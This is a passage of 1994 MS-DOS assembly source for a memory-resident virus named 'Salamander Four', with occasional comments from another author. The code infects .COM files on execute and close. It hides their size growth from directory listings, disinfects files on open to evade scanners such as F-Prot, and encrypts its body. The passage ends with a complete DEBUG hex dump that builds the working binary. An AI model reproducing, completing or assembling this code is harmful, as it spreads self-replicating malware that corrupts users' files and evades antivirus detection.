ax,resid jne exec mov bx,resid iret ;so virus wont load resident twice+ exec: cmp ax,4b00h jne cinfect jmp infect cinfect: cmp ah,3eh ;close ? jne odisinf jmp close_infect ;infect! odisinf: cmp ah,3dh jne ext_open jmp open_disinfect ;if it's a file open, then disinfect! ext_open: cmp ax,6c00h jne _11 jmp extended_open ;if it's a extended open (F-prot for example...) _11: cmp ah,11h jne _12 jmp short fcb_stealth ;stealth during a dos-dir, find first via handles _12: cmp ah,12h jne _4e jmp short fcb_stealth ;stealth during a dos-dir, find next _4e: cmp ah,4eh jne _4f jmp short handle_stealth ;stealth during normal find first _4f: cmp ah,4fh jne o21h jmp short handle_stealth ;stealth during normal find next o21h: db 0eah o21ho dw 0 o21hs dw 0 ;jmp far o21hs:o21ho ret ;used for calls to old int 21h... ;----------------------------------------------------------------------------- ;This routine will hide the size-increase of an infected .com when using ; 11h/12h or 4eh/4fh ; TU> ; I believe these two routines were put togheter into one in a latter ; version.. Sorry ;). fcb_stealth: ;11h/12h pushf push cs call o21h ;fake a call to old int handler or al,al jnz stealth_error pushf push ax bx es ;dont destroy mov ah,51h int 21h ;get psp addr. mov es,bx cmp bx,es:[16h] ;dos calling? jne dont_stealth mov bx,dx mov al,[bx] ;current drive, if al=ffh then ext.fcb push ax mov ah,2Fh int 21h ;get dta addr. es:bx pop ax inc al ;if al=ffh => al=00 jnz regular_fcb ;if al=00 then it's an extended fcb add bx,7 ;skip dos-reserved and attribs... regular_fcb: add bx,3 ;the byte diffrence between the offset ;to the filesize using fcb/handles mov ax,es:[bx+14h] ;ax=timestamp (14h+3=17h ;) jmp short stealth_it ;hide the size handle_stealth: ;4e/4f pushf push cs call o21h ;fake int call jc stealth_error ;there was an error so don't stealth ; (such as no files to find.. ) pushf push ax bx es ;save mov ah,2fh int 21h ;get dta addr., es:bx points to it... mov ax,es:[bx+16h] ;get time stamp stealth_it: and al,00011111b ;kill all but secs... xor al,time_stamp ;xor with our marker jnz dont_stealth ;not ours :( cmp word ptr es:[bx+1ah],(vend-vstart) ;if fcb bx=bx+3 jb dont_stealth ;too small to be us... cmp word ptr es:[bx+1ch],0 ;if fcb bx=bx+3 ja dont_stealth ;too large for us...>64k sub word ptr es:[bx+1ah],(vend-vstart) ;decrease the filesize sbb word ptr es:[bx+1ch],0 ; (* WHY ?? - TU *) dont_stealth: pop es bx ax popf stealth_error: ;if there was an error during int call stealth_done: retf 2 ;----------------------------------------------------------------------------- ;This is our infection routine, ds:dx points to filename upon entry infect: push ax bx cx dx di si ds es ;don't destroy regs/segs mov byte ptr cs:(cflag-vstart),0 ;no closeinfection... xchg_i24h: mov ax,3524h int 21h ;get int 24h's vector in es:bx push es bx ;save es:bx so we can restore the handler... push ds dx cs ;save ds:dx=filename pop ds ;ds=cs mov ah,25h mov dx,(n24h-vstart) int 21h ;set int 24h's vector to our handler pop dx ds ;ds:dx=filename mov ax,4300h int 21h push cx ;get and save attribs mov ax,4301h push ax ds dx xor cx,cx int 21h ;clear attribs call openfile_rw ;open file r/w infect_close: push cs cs pop ds es ;ds=cs=es mov ah,3fh mov dx,(hbytes-vstart) mov cx,4 int 21h ;read first 3 bytes cmp byte ptr ds:[hbytes-vstart],'M' je jmpclose ; *.exe cmp byte ptr ds:[hbytes-vstart],'Z' jne @okey ; *.exe jmpclose: jmp close @okey: cmp byte ptr ds:[hbytes-vstart+3],fileid je jmpclose ; infected by us already call get_name ;get filename via sft's, in es:di cmp word ptr es:[di],'OC' ;command.com je jmpclose ;then close the file... mov ax,5700h int 21h push cx dx ;read files time/date and save them Call Go_eof ;go to end of file... ax=filesize on ;return cmp ax,1024 jb restore cmp ax,63000 ja restore ;too small/large ? sub ax,3 ;jmp entry mov word ptr ds:[nbytes-vstart+1],ax ;save jmp loc get_encval: mov ah,2ch int 21h or dl,dl jz get_encval ;get new value if enc_val=0 mov word ptr ds:[encval-vstart],dx ;save it. copy2buf: cld mov ax,8d00h mov es,ax ;es=8d00h xor si,si xor di,di mov cx,(vend-vstart)/2+1 rep movsw ;copy virus to encbuf enc_buf: mov si,(encrypted_start-vstart) call encrypt ;encrypt es:si write: push es pop ds ;es=ds=8d00h mov ah,40h mov cx,(vend-vstart) cwd ;write from 8d00h:0000h int 21h ;write encrypted virus to file push cs pop ds ;cs=ds xor ax,ax call move_fp ;go to begining of file mov ah,40h mov cx,4 mov dx,(nbytes-vstart) int 21h ;write jmp to virus entry restore: mov ax,5701h pop dx cx and cl,11100000b ;zero sec's or cl,time_stamp ;mark with our infection marker int 21h ;restored files time/date stamp close: cmp byte ptr cs:(cflag-vstart),1 ;if it is a infection on je goon2 ;close don't close file... ;and don't restore attribs mov ah,3eh int 21h pop dx ds ax cx ;restore ax=4301h, ds:dx=filename int 21h restore_i24h: mov ax,2524h pop dx ds ;ds:dx points to old int 24h int 21h ;handler goon2: mov byte ptr cs:(cflag-vstart),0 ;no close infection anymore dah: pop es ds si di dx cx bx ax ;restore all segs/regs duh: jmp o21h ;do old int 21h ;----------------------------------------------------------------------------- close_infect: cmp bx, 4 ;don't close AUX/NULL/CON... jbe duh ;jmp to jmp to org 21h ;) push ax bx cx dx di si ds es ;don't destroy regs/segs call get_name add di,8 ;es:di file ext cmp word ptr es:[di],'OC' jne noclose cmp word ptr es:[di+2],'M' jne noclose mov byte ptr es:[di-26h],2 ;mark file as open in r/w mode xor ax,ax call move_fp ;go to begining of file mov byte ptr cs:(cflag-vstart),1 ;mark it as a close infection... jmp infect_close noclose: jmp short dah pop es ds si di dx cx bx ax ;restore all segs/regs jmp o21h ;----------------------------------------------------------------------------- ;This routine will disinfect an infected .com file on open! extended_open: cmp dx,1 je yessir jmp o21h ;don't do anything... yessir: mov ah,3dh mov al,bl mov dx,si ;filename ds:si=ds:dx... mov byte ptr cs:(oflag-vstart),1 open_disinfect: ;ds:dx=filename... push ax bx cx dx di si ds es ;save all regs/segs... push ds pop es ;ds=es mov cx,64 ;path+fname= max 65 mov di,dx ;offs to filename mov al,'.' ;look for '.' repne scasb ;repeat scansingel byte until cx=0 ;offset to '.'+1 in di cmp word ptr ds:[di],'OC' je smallc cmp word ptr ds:[di],'oc' jne nocom smallc: cmp byte ptr ds:[di+2],'M' je openfile cmp byte ptr ds:[di+2],'m' je openfile ;check if it's a com or COM nocom: jmp no_opendis openfile: call openfile_rw ;open file r/w push cs cs pop ds es ;cs=ds=es mov ax,5700h int 21h push cx dx ;save time/date read_f4: mov ah,3fh mov cx,4 mov dx,(hbytes-vstart) ;use hbytes it won't be at first... int 21h ;read first 4 bytes... chk_markers: cmp byte ptr ds:[hbytes-vstart+3],fileid ;ie. our marker jne close_dis cmp byte ptr ds:[hbytes-vstart],0e9h ;check if it is a jmp. jne close_dis ;if itsn't it can't be us... call go_eof ;go to end of file, ;ax=fsize on return mov dx,ax ;store fsize in dx too sub ax,(vend-entry+3) cmp word ptr ds:[hbytes-vstart+1],ax ;check if the jmp is to jne close_dis ;our supposed entry point push dx ;push fsize xor ax,ax sub dx,(vend-hbytes) ;goto hbytes offs. in file call go_to mov ah,3fh mov cx,4 mov dx,(hbytes-vstart) int 21h ;store bytes read in memory xor ax,ax call move_fp ;go tof mov ah,40h mov dx,(hbytes-vstart) mov cx,4 int 21h pop dx sub dx,(vend-vstart) ;dx=size of original file xor ax,ax call go_to ;go to bof+cx:dx ie ;fsize-vsize mov ah,40h xor cx,cx int 21h ;trunc file.... close_dis: mov ax,5701h pop dx cx int 21h ;restore time/date mov ah,3eh pushf push cs call o21h ;close file no_opendis: ;the file was never opened pop es ds si di dx cx bx ax ;restore all segs/regs cmp byte ptr cs:(oflag-vstart),1 jne @dduh mov ax,6c00h ;restore ax mov dx,1 ;restore dx after ;disinfecting... mov byte ptr cs:(oflag-vstart),0 ;restore to no-extended open... @dduh: jmp o21h ;----------------------------------------------------------------------------- get_name: push bx mov ax,1220h ;get jft for handle at es:di int 2fh mov ax,1216h ;get system file table mov bl,byte ptr es:[di] ;for handle index in bx int 2fh pop bx add di,20h ;es:di+20h points to file fname ret ;return ;----------------------------------------------------------------------------- go_eof: mov al,2 move_fp: cwd go_to: xor cx,cx mov ah,42h int 21h ret ;----------------------------------------------------------------------------- ;Open file proc. via call to original int 21h... only saves 2 bytes or sumthin ;ds:dx->filename Openfile_rw: mov ax,3d02h pushf push cs call o21h xchg bx,ax ret ;return to caller with filehandle in bx... ;----------------------------------------------------------------------------- ;DATA AREA oflag db 0 ;extended open marker cflag db 0 ;close infection marker tag db '[- Salamander Four -] (c) by Blonde in 1994' nbytes db 0e9h,0,0,fileid ;newbytes ;----------------------------------------------------------------------------- encrypt_end: hbytes db 0cdh,20h,0,0 ;HOSTbytes, not ecrypted due to disinfect ;----------------------------------------------------------------------------- encrypt:decrypt: mov cx,(encrypt_end-encrypted_start)/2 xorl: db 26h db 81h,34h encval dw 0 ;xor es:[si],encval inc si inc si loop xorl ret vend: ;end of virus code excluding heap hstart: hend: ;end of virus code including heap end host ================================================================== ============== N S4.COM E 0100 EB 02 90 73 E8 00 00 8B F4 8B 2C 81 ED 07 01 8D E 0110 B6 04 01 E8 8D 03 B8 99 30 CD 21 3B C3 74 55 8C E 0120 D8 48 8E D8 33 FF 80 3D 5A 75 49 83 6D 03 3B 83 E 0130 6D 12 3B 8B 45 12 8E C0 0E 1F FC 8D B6 04 01 33 E 0140 FF B9 D7 01 F3 A5 33 C0 8E D8 1E C5 06 84 00 26 E 0150 A3 CA 00 26 8C 1E CC 00 1F C7 06 84 00 00 00 C7 E 0160 06 86 00 1E 00 C6 06 E0 01 EA C7 06 E1 01 84 00 E 0170 8C 06 E3 01 44 44 0E 0E 07 1F BF 00 01 57 8D B6 E 0180 9F 04 A5 A5 C3 B0 00 CF 3D 99 30 75 04 BB 99 30 E 0190 CF 3D 00 4B 75 03 E9 A8 00 80 FC 3E 75 03 E9 91 E 01A0 01 80 FC 3D 75 03 E9 DE 01 3D 00 6C 75 03 E9 C2 E 01B0 01 80 FC 11 75 02 EB 1B 80 FC 12 75 02 EB 14 80 E 01C0 FC 4E 75 02 EB 41 80 FC 4F 75 02 EB 3A EA 00 00 E 01D0 00 00 C3 9C 0E E8 F5 FF 0A C0 75 62 9C 50 53 06 E 01E0 B4 51 CD 21 8E C3 26 3B 1E 16 00 75 4D 8B DA 8A E 01F0 07 50 B4 2F CD 21 58 FE C0 75 03 83 C3 07 83 C3 E 0200 03 26 8B 47 14 EB 13 9C 0E E8 C1 FF 72 30 9C 50 E 0210 53 06 B4 2F CD 21 26 8B 47 16 24 1F 34 11 75 1A E 0220 26 81 7F 1A AC 03 72 12 26 83 7F 1C 00 77 0B 26 E 0230 81 6F 1A AC 03 26 83 5F 1C 00 07 5B 58 9D CA 02 E 0240 00 50 53 51 52 57 56 1E 06 2E C6 06 6B 03 00 B8 E 0250 24 35 CD 21 06 53 1E 52 0E 1F B4 25 BA 81 00 CD E 0260 21 5A 1F B8 00 43 CD 21 51 B8 01 43 50 1E 52 33 E 0270 C9 CD 21 E8 EE 01 0E 0E 1F 07 B4 3F BA 9B 03 B9 E 0280 04 00 CD 21 80 3E 9B 03 4D 74 07 80 3E 9B 03 5A E 0290 75 02 EB 74 80 3E 9E 03 73 74 F7 E8 A9 01 26 81 E 02A0 3D 43 4F 74 ED B8 00 57 CD 21 51 52 E8 AB 01 3D E 02B0 00 04 72 47 3D 18 F6 77 42 2D 03 00 A3 98 03 B4 E 02C0 2C CD 21 0A D2 74 F8 89 16 A5 03 FC B8 00 8D 8E E 02D0 C0 33 F6 33 FF B9 D7 01 F3 A5 BE 12 00 E8 C3 01 E 02E0 06 1F B4 40 B9 AC 03 99 CD 21 0E 1F 33 C0 E8 6B E 02F0 01 B4 40 B9 04 00 BA 97 03 CD 21 B8 01 57 5A 59 E 0300 80 E1 E0 80 C9 11 CD 21 2E 80 3E 6B 03 01 74 11 E 0310 B4 3E CD 21 5A 1F 58 59 CD 21 B8 24 25 5A 1F CD E 0320 21 2E C6 06 6B 03 00 07 1F 5E 5F 5A 59 5B 58 E9 E 0330 9B FE 83 FB 04 76 F8 50 53 51 52 57 56 1E 06 E8 E 0340 05 01 83 C7 08 26 81 3D 43 4F 75 1A 26 83 7D 02 E 0350 4D 75 13 26 C6 45 DA 02 33 C0 E8 FF 00 2E C6 06 E 0360 6B 03 01 E9 10 FF EB BF 07 1F 5E 5F 5A 59 5B 58 E 0370 E9 5A FE 83 FA 01 74 03 E9 52 FE B4 3D 8A C3 8B E 0380 D6 2E C6 06 6A 03 01 50 53 51 52 57 56 1E 06 1E E 0390 07 B9 40 00 8B FA B0 2E F2 AE 81 3D 43 4F 74 06 E 03A0 81 3D 63 6F 75 0C 80 7D 02 4D 74 08 80 7D 02 6D E 03B0 74 02 EB 74 E8 AD 00 0E 0E 1F 07 B8 00 57 CD 21 E 03C0 51 52 B4 3F B9 04 00 BA 9B 03 CD 21 80 3E 9E 03 E 03D0 73 75 47 80 3E 9B 03 E9 75 40 E8 7D 00 8B D0 2D E 03E0 AF 03 39 06 9C 03 75 32 52 33 C0 83 EA 11 E8 6C E 03F0 00 B4 3F B9 04 00 BA 9B 03 CD 21 33 C0 E8 5C 00 E 0400 B4 40 BA 9B 03 B9 04 00 CD 21 5A 81 EA AC 03 33 E 0410 C0 E8 49 00 B4 40 33 C9 CD 21 B8 01 57 5A 59 CD E 0420 21 B4 3E 9C 0E E8 A5 FD 07 1F 5E 5F 5A 59 5B 58 E 0430 2E 80 3E 6A 03 01 75 0C B8 00 6C BA 01 00 2E C6 E 0440 06 6A 03 00 E9 86 FD 53 B8 20 12 CD 2F B8 16 12 E 0450 26 8A 1D CD 2F 5B 83 C7 20 C3 B0 02 99 33 C9 B4 E 0460 42 CD 21 C3 B8 02 3D 9C 0E E8 61 FD 93 C3 00 00 E 0470 5B 2D 20 53 61 6C 61 6D 61 6E 64 65 72 20 46 6F E 0480 75 72 20 2D 5D 20 28 63 29 20 62 79 20 42 6C 6F E 0490 6E 64 65 20 69 6E 20 31 39 39 34 E9 00 00 73 CD E 04A0 20 00 00 B9 C4 01 26 81 34 00 00 46 46 E2 F7 C3 RCX 03B0 W Q